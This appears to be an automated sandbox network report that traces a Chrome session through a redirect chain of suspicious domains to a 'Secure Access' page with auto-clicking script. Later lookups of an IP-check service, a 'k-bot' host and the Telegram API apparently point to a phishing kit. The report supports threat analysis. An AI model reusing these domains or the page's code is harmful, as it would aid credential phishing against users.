Apr 15, 2025 20:06:18.485610008 CEST	1.1.1.1	192.168.2.10	0x2e8e	No error (0)	nero.kempo-karic.shop		104.21.64.1	A (IP address)	IN (0x0001)	false
Apr 15, 2025 20:06:18.485610008 CEST	1.1.1.1	192.168.2.10	0x2e8e	No error (0)	nero.kempo-karic.shop		104.21.48.1	A (IP address)	IN (0x0001)	false
Apr 15, 2025 20:06:18.485610008 CEST	1.1.1.1	192.168.2.10	0x2e8e	No error (0)	nero.kempo-karic.shop		104.21.80.1	A (IP address)	IN (0x0001)	false
Apr 15, 2025 20:06:23.494834900 CEST	1.1.1.1	192.168.2.10	0xf4f2	No error (0)	a.nel.cloudflare.com		35.190.80.1	A (IP address)	IN (0x0001)	false
Apr 15, 2025 20:06:24.051008940 CEST	1.1.1.1	192.168.2.10	0x721b	No error (0)	nero.kempo-karic.shop		104.21.64.1	A (IP address)	IN (0x0001)	false
Apr 15, 2025 20:06:24.051008940 CEST	1.1.1.1	192.168.2.10	0x721b	No error (0)	nero.kempo-karic.shop		104.21.32.1	A (IP address)	IN (0x0001)	false
Apr 15, 2025 20:06:24.051008940 CEST	1.1.1.1	192.168.2.10	0x721b	No error (0)	nero.kempo-karic.shop		104.21.96.1	A (IP address)	IN (0x0001)	false
Apr 15, 2025 20:06:24.051008940 CEST	1.1.1.1	192.168.2.10	0x721b	No error (0)	nero.kempo-karic.shop		104.21.48.1	A (IP address)	IN (0x0001)	false
Apr 15, 2025 20:06:24.051008940 CEST	1.1.1.1	192.168.2.10	0x721b	No error (0)	nero.kempo-karic.shop		104.21.112.1	A (IP address)	IN (0x0001)	false
Apr 15, 2025 20:06:24.051008940 CEST	1.1.1.1	192.168.2.10	0x721b	No error (0)	nero.kempo-karic.shop		104.21.16.1	A (IP address)	IN (0x0001)	false
Apr 15, 2025 20:06:24.051008940 CEST	1.1.1.1	192.168.2.10	0x721b	No error (0)	nero.kempo-karic.shop		104.21.80.1	A (IP address)	IN (0x0001)	false
Apr 15, 2025 20:06:24.085623026 CEST	1.1.1.1	192.168.2.10	0xe382	No error (0)	nero.kempo-karic.shop			65	IN (0x0001)	false
Apr 15, 2025 20:06:25.236341000 CEST	1.1.1.1	192.168.2.10	0xa1a0	No error (0)	patnero.thesilent.de		216.24.57.1	A (IP address)	IN (0x0001)	false
Apr 15, 2025 20:06:26.934226036 CEST	1.1.1.1	192.168.2.10	0x4b28	No error (0)	patnero.thesilent.de		216.24.57.1	A (IP address)	IN (0x0001)	false
Apr 15, 2025 20:06:26.952574968 CEST	1.1.1.1	192.168.2.10	0xf691	No error (0)	patnero.thesilent.de		216.24.57.1	A (IP address)	IN (0x0001)	false
Apr 15, 2025 20:06:26.998119116 CEST	1.1.1.1	192.168.2.10	0x2a35	No error (0)	patnero.thesilent.de		216.24.57.1	A (IP address)	IN (0x0001)	false
Apr 15, 2025 20:06:27.990242958 CEST	1.1.1.1	192.168.2.10	0xc3cf	No error (0)	classntfst.shop		104.21.88.234	A (IP address)	IN (0x0001)	false
Apr 15, 2025 20:06:27.990242958 CEST	1.1.1.1	192.168.2.10	0xc3cf	No error (0)	classntfst.shop		172.67.154.53	A (IP address)	IN (0x0001)	false
Apr 15, 2025 20:06:27.990536928 CEST	1.1.1.1	192.168.2.10	0x959c	No error (0)	classntfst.shop			65	IN (0x0001)	false
Apr 15, 2025 20:06:29.081038952 CEST	1.1.1.1	192.168.2.10	0x9ab5	No error (0)	oka.greenthreads.hr		76.76.21.21	A (IP address)	IN (0x0001)	false
Apr 15, 2025 20:06:33.736458063 CEST	1.1.1.1	192.168.2.10	0x898c	No error (0)	oka.greenthreads.hr		76.76.21.21	A (IP address)	IN (0x0001)	false
Apr 15, 2025 20:06:48.478913069 CEST	1.1.1.1	192.168.2.10	0x94e3	No error (0)	logo.clearbit.com	d26p066pn2w0s0.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 15, 2025 20:06:48.478987932 CEST	1.1.1.1	192.168.2.10	0xbb77	No error (0)	www.gravatar.com		192.0.73.2	A (IP address)	IN (0x0001)	false
Apr 15, 2025 20:06:48.482063055 CEST	1.1.1.1	192.168.2.10	0xc1fc	No error (0)	logo.clearbit.com	d26p066pn2w0s0.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 15, 2025 20:06:48.482063055 CEST	1.1.1.1	192.168.2.10	0xc1fc	No error (0)	d26p066pn2w0s0.cloudfront.net		3.161.136.8	A (IP address)	IN (0x0001)	false
Apr 15, 2025 20:06:48.482063055 CEST	1.1.1.1	192.168.2.10	0xc1fc	No error (0)	d26p066pn2w0s0.cloudfront.net		3.161.136.24	A (IP address)	IN (0x0001)	false
Apr 15, 2025 20:06:48.482063055 CEST	1.1.1.1	192.168.2.10	0xc1fc	No error (0)	d26p066pn2w0s0.cloudfront.net		3.161.136.96	A (IP address)	IN (0x0001)	false
Apr 15, 2025 20:06:48.482063055 CEST	1.1.1.1	192.168.2.10	0xc1fc	No error (0)	d26p066pn2w0s0.cloudfront.net		3.161.136.44	A (IP address)	IN (0x0001)	false
Apr 15, 2025 20:06:49.086174011 CEST	1.1.1.1	192.168.2.10	0x37cc	No error (0)	www.gravatar.com		192.0.73.2	A (IP address)	IN (0x0001)	false
Apr 15, 2025 20:07:11.341013908 CEST	1.1.1.1	192.168.2.10	0x12d2	No error (0)	api64.ipify.org		173.231.16.77	A (IP address)	IN (0x0001)	false
Apr 15, 2025 20:07:11.341013908 CEST	1.1.1.1	192.168.2.10	0x12d2	No error (0)	api64.ipify.org		104.237.62.213	A (IP address)	IN (0x0001)	false
Apr 15, 2025 20:07:12.144192934 CEST	1.1.1.1	192.168.2.10	0x5700	No error (0)	api64.ipify.org		173.231.16.77	A (IP address)	IN (0x0001)	false
Apr 15, 2025 20:07:12.144192934 CEST	1.1.1.1	192.168.2.10	0x5700	No error (0)	api64.ipify.org		104.237.62.213	A (IP address)	IN (0x0001)	false
Apr 15, 2025 20:07:12.150876999 CEST	1.1.1.1	192.168.2.10	0x6ad	No error (0)	k-bot-production.up.railway.app	edge.railway.app		CNAME (Canonical name)	IN (0x0001)	false
Apr 15, 2025 20:07:12.150876999 CEST	1.1.1.1	192.168.2.10	0x6ad	No error (0)	edge.railway.app		66.33.22.4	A (IP address)	IN (0x0001)	false
Apr 15, 2025 20:07:12.150876999 CEST	1.1.1.1	192.168.2.10	0x6ad	No error (0)	edge.railway.app		66.33.22.2	A (IP address)	IN (0x0001)	false
Apr 15, 2025 20:07:12.150876999 CEST	1.1.1.1	192.168.2.10	0x6ad	No error (0)	edge.railway.app		66.33.22.1	A (IP address)	IN (0x0001)	false
Apr 15, 2025 20:07:12.150876999 CEST	1.1.1.1	192.168.2.10	0x6ad	No error (0)	edge.railway.app		66.33.22.3	A (IP address)	IN (0x0001)	false
Apr 15, 2025 20:07:13.833596945 CEST	1.1.1.1	192.168.2.10	0x2383	No error (0)	api.telegram.org		149.154.167.220	A (IP address)	IN (0x0001)	false
Apr 15, 2025 20:07:13.851098061 CEST	1.1.1.1	192.168.2.10	0xae9	No error (0)	k-bot-production.up.railway.app	edge.railway.app		CNAME (Canonical name)	IN (0x0001)	false
Apr 15, 2025 20:07:13.851098061 CEST	1.1.1.1	192.168.2.10	0xae9	No error (0)	edge.railway.app		66.33.22.3	A (IP address)	IN (0x0001)	false
Apr 15, 2025 20:07:13.851098061 CEST	1.1.1.1	192.168.2.10	0xae9	No error (0)	edge.railway.app		66.33.22.4	A (IP address)	IN (0x0001)	false
Apr 15, 2025 20:07:13.851098061 CEST	1.1.1.1	192.168.2.10	0xae9	No error (0)	edge.railway.app		66.33.22.1	A (IP address)	IN (0x0001)	false
Apr 15, 2025 20:07:13.851098061 CEST	1.1.1.1	192.168.2.10	0xae9	No error (0)	edge.railway.app		66.33.22.2	A (IP address)	IN (0x0001)	false
Apr 15, 2025 20:07:23.502515078 CEST	1.1.1.1	192.168.2.10	0x5662	No error (0)	a.nel.cloudflare.com		35.190.80.1	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

ralph.owa-netbros.shop

nero.kempo-karic.shop

patnero.thesilent.de

a.nel.cloudflare.com

classntfst.shop

oka.greenthreads.hr

www.gravatar.com

logo.clearbit.com

api64.ipify.org

k-bot-production.up.railway.app

api.telegram.org

c.pki.goog

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port
0	192.168.2.10	49724	108.177.122.94	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2025 20:06:29.651098967 CEST	200	OUT	GET /r/r4.crl HTTP/1.1 Cache-Control: max-age = 3000 Connection: Keep-Alive Accept: / If-Modified-Since: Thu, 25 Jul 2024 14:48:00 GMT User-Agent: Microsoft-CryptoAPI/10.0 Host: c.pki.goog
Apr 15, 2025 20:06:29.758512974 CEST	1243	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Content-Security-Policy-Report-Only: require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/cacerts Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy: same-origin; report-to="cacerts" Report-To: {"group":"cacerts","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/cacerts"}]} Content-Length: 530 X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Date: Tue, 15 Apr 2025 17:36:09 GMT Expires: Tue, 15 Apr 2025 18:26:09 GMT Cache-Control: public, max-age=3000 Age: 1820 Last-Modified: Thu, 03 Apr 2025 14:18:00 GMT Content-Type: application/pkix-crl Vary: Accept-Encoding Data Raw: 30 82 02 0e 30 82 01 93 02 01 01 30 0a 06 08 2a 86 48 ce 3d 04 03 03 30 47 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 22 30 20 06 03 55 04 0a 13 19 47 6f 6f 67 6c 65 20 54 72 75 73 74 20 53 65 72 76 69 63 65 73 20 4c 4c 43 31 14 30 12 06 03 55 04 03 13 0b 47 54 53 20 52 6f 6f 74 20 52 34 17 0d 32 35 30 34 30 33 30 38 30 30 30 30 5a 17 0d 32 36 30 32 32 38 30 37 35 39 35 39 5a 30 81 e9 30 2f 02 10 6e 47 a9 ce 4f 46 c2 3d e2 49 ea cc 38 94 53 73 17 0d 31 39 30 39 33 30 30 30 30 30 30 30 5a 30 0c 30 0a 06 03 55 1d 15 04 03 0a 01 05 30 2c 02 0d 01 f0 9c 5b 70 05 a6 dc 86 e2 f9 9e f3 17 0d 32 30 30 31 33 31 30 30 30 30 30 30 5a 30 0c 30 0a 06 03 55 1d 15 04 03 0a 01 05 30 2c 02 0d 01 fe a5 81 44 7e 3b fd 3b b8 1c 24 98 17 0d 32 33 30 36 31 33 30 30 30 30 30 30 5a 30 0c 30 0a 06 03 55 1d 15 04 03 0a 01 05 30 2c 02 0d 02 16 68 25 e1 70 04 40 61 24 91 f5 40 17 0d 32 35 30 34 30 33 30 38 30 30 30 30 5a 30 0c 30 0a 06 03 55 1d 15 04 03 0a 01 05 30 2c 02 0d 02 00 8e b2 58 e7 b5 94 0c 1f f9 00 44 17 0d 32 35 30 [TRUNCATED] Data Ascii: 000H=0G10UUS1"0 UGoogle Trust Services LLC10UGTS Root R4250403080000Z260228075959Z00/nGOF=I8Ss190930000000Z00U0,[p200131000000Z00U0,D~;;$230613000000Z00U0,h%p@a$@250403080000Z00U0,XD250403080000Z00U/0-0U0U#0LtI6>j0H=i0f1>2en:IN@g=;bQZ~`NX1?^4y[$\4{;$zDeU6O

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.10	49718	216.24.57.1	80	3376	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2025 20:06:29.739073038 CEST	539	OUT	GET /api/redirect?expires=1744740396593&hash=2892a5c411e4b8c308678cf662d61542f91b2205e91a20eca90c152afaac93f9 HTTP/1.1 Host: patnero.thesilent.de Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9
Apr 15, 2025 20:06:29.948070049 CEST	579	IN	HTTP/1.1 301 Moved Permanently Date: Tue, 15 Apr 2025 18:06:29 GMT Content-Type: text/html; charset=utf-8 Content-Length: 172 Connection: keep-alive Location: https://patnero.thesilent.de/api/redirect?expires=1744740396593&hash=2892a5c411e4b8c308678cf662d61542f91b2205e91a20eca90c152afaac93f9 CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 930d608c3f4d7bd0-ATL alt-svc: h3=":443"; ma=86400 Data Raw: 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 70 61 74 6e 65 72 6f 2e 74 68 65 73 69 6c 65 6e 74 2e 64 65 2f 61 70 69 2f 72 65 64 69 72 65 63 74 3f 65 78 70 69 72 65 73 3d 31 37 34 34 37 34 30 33 39 36 35 39 33 26 61 6d 70 3b 68 61 73 68 3d 32 38 39 32 61 35 63 34 31 31 65 34 62 38 63 33 30 38 36 37 38 63 66 36 36 32 64 36 31 35 34 32 66 39 31 62 32 32 30 35 65 39 31 61 32 30 65 63 61 39 30 63 31 35 32 61 66 61 61 63 39 33 66 39 22 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 61 3e 2e 0a 0a Data Ascii: <a href="https://patnero.thesilent.de/api/redirect?expires=1744740396593&hash=2892a5c411e4b8c308678cf662d61542f91b2205e91a20eca90c152afaac93f9">Moved Permanently</a>.
Apr 15, 2025 20:07:14.953830957 CEST	6	OUT	Data Raw: 00 Data Ascii:

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.10	49695	5.161.110.119	443	3376	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-04-15 18:06:18 UTC	755	OUT	GET /67f6835c479eb29c9fc8721b?utm_source=%7Br%7D&utm_medium=%7Br%7D&utm_campaign=%7Br%7D HTTP/1.1 Host: ralph.owa-netbros.shop Connection: keep-alive sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-15 18:06:18 UTC	996	IN	HTTP/1.1 302 Found Content-Type: text/html; charset=utf-8 Content-Length: 122 Connection: close Location: https://nero.kempo-karic.shop?rtkcid=67fea01a335d4814fb08ba90&rtkcmpid=67f6835c479eb29c9fc8721b Referer: Referrer-Policy: no-referrer Set-Cookie: redcmps=W3siaWQiOiI2N2Y2ODM1YzQ3OWViMjljOWZjODcyMWIiLCJ0IjoiMjAyNS0wNC0xNVQxODowNjoxOC4yODM0OTE2NjdaIn1d; Path=/; Domain=ralph.owa-netbros.shop; Expires=Wed, 16 Apr 2025 18:06:18 GMT; Secure; SameSite=None Set-Cookie: redhash=NjdmZWEwMWEzMzVkNDgxNGZiMDhiYTkwfDB8NjdmNjgzNWM0NzllYjI5YzlmYzg3MjFifDY3ZjY4MTFlYTYwNjQ4M2ViMmQ4ZDJjYXwzZWZlZTQ3OS1lMTIzLTRmYzAtYTAyMC1iZGZhMzU5NGExZTZ8MTc0NDc0MDM3OA==; Path=/; Domain=ralph.owa-netbros.shop; Expires=Wed, 15 Apr 2026 18:06:18 GMT; Secure; SameSite=None Date: Tue, 15 Apr 2025 18:06:18 GMT Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Content-Length,Content-Range X-Kong-Upstream-Latency: 4 X-Kong-Proxy-Latency: 1 X-Kong-Request-Id: 641f00641075f94f969a1f0ffa5c7a36
2025-04-15 18:06:18 UTC	122	IN	Data Raw: 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 6e 65 72 6f 2e 6b 65 6d 70 6f 2d 6b 61 72 69 63 2e 73 68 6f 70 3f 72 74 6b 63 69 64 3d 36 37 66 65 61 30 31 61 33 33 35 64 34 38 31 34 66 62 30 38 62 61 39 30 26 61 6d 70 3b 72 74 6b 63 6d 70 69 64 3d 36 37 66 36 38 33 35 63 34 37 39 65 62 32 39 63 39 66 63 38 37 32 31 62 22 3e 46 6f 75 6e 64 3c 2f 61 3e 2e 0a 0a Data Ascii: <a href="https://nero.kempo-karic.shop?rtkcid=67fea01a335d4814fb08ba90&rtkcmpid=67f6835c479eb29c9fc8721b">Found</a>.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.10	49697	104.21.16.1	443	3376	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-04-15 18:06:18 UTC	737	OUT	GET /?rtkcid=67fea01a335d4814fb08ba90&rtkcmpid=67f6835c479eb29c9fc8721b HTTP/1.1 Host: nero.kempo-karic.shop Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-15 18:06:20 UTC	1042	IN	HTTP/1.1 200 OK Date: Tue, 15 Apr 2025 18:06:20 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Cf-Ray: 930d6048ad517b37-MIA Server: cloudflare Cf-Cache-Status: DYNAMIC Access-Control-Allow-Origin: * Last-Modified: Fri, 07 Mar 2025 13:28:12 GMT Content-Md5: HpRQ9QgNu+gcm1rfSWWkcA== X-Content-Type-Options: nosniff X-Frame-Options: DENY X-Ms-Request-Id: f92633d9-001e-0000-8031-aef8e0000000 X-Ms-Version: 2018-03-28 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=SPb%2BWptyxNxZenaFrbdP2ofv61ermpon1OV4esgdP2nH6tm9n0EZ4xvjhdiIe%2FmPADdBK4R%2BTAyChsEjqbDdnCvxsEpRgoh9wafTaksLg7dTOQqJndVMyja9mbhrR7%2F6Yo8VR6Rwm3M%3D"}],"group":"cf-nel","max_age":604800} Nel: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=126448&min_rtt=126422&rtt_var=26690&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2845&recv_bytes=1309&delivery_rate=31938&cwnd=252&unsent_bytes=0&cid=39a3f2120aa77801&ts=2021&x=0"
2025-04-15 18:06:20 UTC	327	IN	Data Raw: 63 32 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0d 0a 20 20 20 20 3c 74 69 74 6c 65 3e 53 65 63 75 72 65 20 41 63 63 65 73 73 3c 2f 74 69 74 6c 65 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 73 74 79 6c 65 73 2e 63 73 73 22 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 0d 0a 20 20 20 Data Ascii: c20<!DOCTYPE html><html lang="en"><head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Secure Access</title> <link rel="stylesheet" href="styles.css"></head><body>
2025-04-15 18:06:20 UTC	1369	IN	Data Raw: 65 63 75 72 65 20 41 63 63 65 73 73 22 20 2d 2d 3e 0d 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 6c 6f 67 6f 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 76 67 20 77 69 64 74 68 3d 22 38 30 22 20 68 65 69 67 68 74 3d 22 38 30 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 32 34 20 32 34 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 70 61 74 68 20 64 3d 22 4d 31 34 20 32 48 36 43 34 2e 39 20 32 20 34 20 32 2e 39 20 34 20 32 30 43 34 20 32 31 2e 31 20 34 2e 39 20 32 32 20 36 20 32 32 48 31 38 43 31 39 2e 31 20 32 32 20 32 30 20 32 31 2e 31 20 32 30 20 32 30 56 38 4c 31 34 20 Data Ascii: ecure Access" --> <div class="logo"> <svg width="80" height="80" viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg"> <path d="M14 2H6C4.9 2 4 2.9 4 20C4 21.1 4.9 22 6 22H18C19.1 22 20 21.1 20 20V8L14
2025-04-15 18:06:20 UTC	1369	IN	Data Raw: 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 61 63 63 65 73 73 42 74 6e 22 29 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 69 66 20 28 61 63 63 65 73 73 42 74 6e 20 26 26 20 61 63 63 65 73 73 42 74 6e 2e 73 74 79 6c 65 2e 64 69 73 70 6c 61 79 20 3d 3d 3d 20 22 62 6c 6f 63 6b 22 29 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6e 73 6f 6c 65 2e 6c 6f 67 28 22 e2 9c 85 20 41 75 74 6f 6d 61 74 69 63 61 6c 6c 79 20 63 6c 69 63 6b 69 6e 67 20 74 68 65 20 62 75 74 74 6f 6e 2e 2e 2e 22 29 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 61 63 63 65 73 73 42 74 6e 2e 63 6c 69 63 6b 28 29 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6f 62 Data Ascii: = document.getElementById("accessBtn"); if (accessBtn && accessBtn.style.display === "block") { console.log(" Automatically clicking the button..."); accessBtn.click(); ob
2025-04-15 18:06:20 UTC	46	IN	Data Raw: 67 65 3d 65 2c 63 28 29 29 7d 7d 7d 7d 29 28 29 3b 3c 2f 73 63 72 69 70 74 3e 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a Data Ascii: ge=e,c())}}}})();</script></body></html>
2025-04-15 18:06:20 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.10	49698	104.21.16.1	443	3376	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-04-15 18:06:21 UTC	624	OUT	GET /styles.css HTTP/1.1 Host: nero.kempo-karic.shop Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://nero.kempo-karic.shop/?rtkcid=67fea01a335d4814fb08ba90&rtkcmpid=67f6835c479eb29c9fc8721b Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-15 18:06:21 UTC	1125	IN	HTTP/1.1 200 OK Date: Tue, 15 Apr 2025 18:06:21 GMT Content-Type: text/css Transfer-Encoding: chunked Connection: close Cf-Ray: 930d60571a31da26-MIA Server: cloudflare Cf-Cache-Status: HIT Access-Control-Allow-Origin: * Age: 5838 Cache-Control: max-age=14400 Etag: W/"0x8DD5D7BE8A31031" Last-Modified: Fri, 07 Mar 2025 13:28:12 GMT Vary: Accept-Encoding Content-Md5: XhpBsINOUeRdMYEYdYeySw== X-Content-Type-Options: nosniff X-Frame-Options: DENY X-Ms-Request-Id: e2d85327-f01e-0014-5db6-acb08f000000 X-Ms-Version: 2018-03-28 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=siwSm0qBHgO1Ic5PK73czSxOVTTHzwPEDnpSsIK1KwQfuvdKRzC1R8FJ958pRXp579AQys3XRdmeYKKX%2BJ211hIaQ1tHEgzKXDwb9bD33n39oVds6NKaK6RUpGmIlE%2B56ZAUtAsB5o4%3D"}],"group":"cf-nel","max_age":604800} Nel: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=121251&min_rtt=121157&rtt_var=25631&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2843&recv_bytes=1196&delivery_rate=33311&cwnd=252&unsent_bytes=0&cid=67349e4979a40b7f&ts=778&x=0"
2025-04-15 18:06:21 UTC	1369	IN	Data Raw: 36 38 35 0d 0a 62 6f 64 79 20 7b 0d 0a 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 41 72 69 61 6c 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0d 0a 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0d 0a 20 20 20 20 70 61 64 64 69 6e 67 3a 20 35 30 70 78 3b 0d 0a 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 39 66 39 66 39 3b 0d 0a 7d 0d 0a 0d 0a 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0d 0a 20 20 20 20 6d 61 78 2d 77 69 64 74 68 3a 20 36 30 30 70 78 3b 0d 0a 20 20 20 20 6d 61 72 67 69 6e 3a 20 61 75 74 6f 3b 0d 0a 20 20 20 20 70 61 64 64 69 6e 67 3a 20 32 30 70 78 3b 0d 0a 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 77 68 69 74 65 3b 0d 0a 20 20 20 20 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 38 70 78 3b Data Ascii: 685body { font-family: Arial, sans-serif; text-align: center; padding: 50px; background-color: #f9f9f9;}.container { max-width: 600px; margin: auto; padding: 20px; background: white; border-radius: 8px;
2025-04-15 18:06:21 UTC	307	IN	Data Raw: 78 3b 0d 0a 20 20 20 20 63 6f 6c 6f 72 3a 20 77 68 69 74 65 3b 0d 0a 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 30 30 37 38 44 34 3b 0d 0a 20 20 20 20 62 6f 72 64 65 72 3a 20 6e 6f 6e 65 3b 0d 0a 20 20 20 20 63 75 72 73 6f 72 3a 20 70 6f 69 6e 74 65 72 3b 0d 0a 20 20 20 20 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 35 70 78 3b 0d 0a 20 20 20 20 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 32 30 70 78 3b 0d 0a 20 20 20 20 64 69 73 70 6c 61 79 3a 20 6e 6f 6e 65 3b 0d 0a 20 20 20 20 74 72 61 6e 73 69 74 69 6f 6e 3a 20 6f 70 61 63 69 74 79 20 30 2e 35 73 20 65 61 73 65 2d 69 6e 2d 6f 75 74 3b 20 2f 2a 20 e2 9c 85 20 53 6d 6f 6f 74 68 20 66 61 64 65 2d 69 6e 20 65 66 66 65 63 74 20 2a 2f 0d 0a 7d 0d 0a 0d 0a 2e 61 63 63 65 73 73 2d 62 75 74 Data Ascii: x; color: white; background-color: #0078D4; border: none; cursor: pointer; border-radius: 5px; margin-top: 20px; display: none; transition: opacity 0.5s ease-in-out; /* Smooth fade-in effect */}.access-but
2025-04-15 18:06:21 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
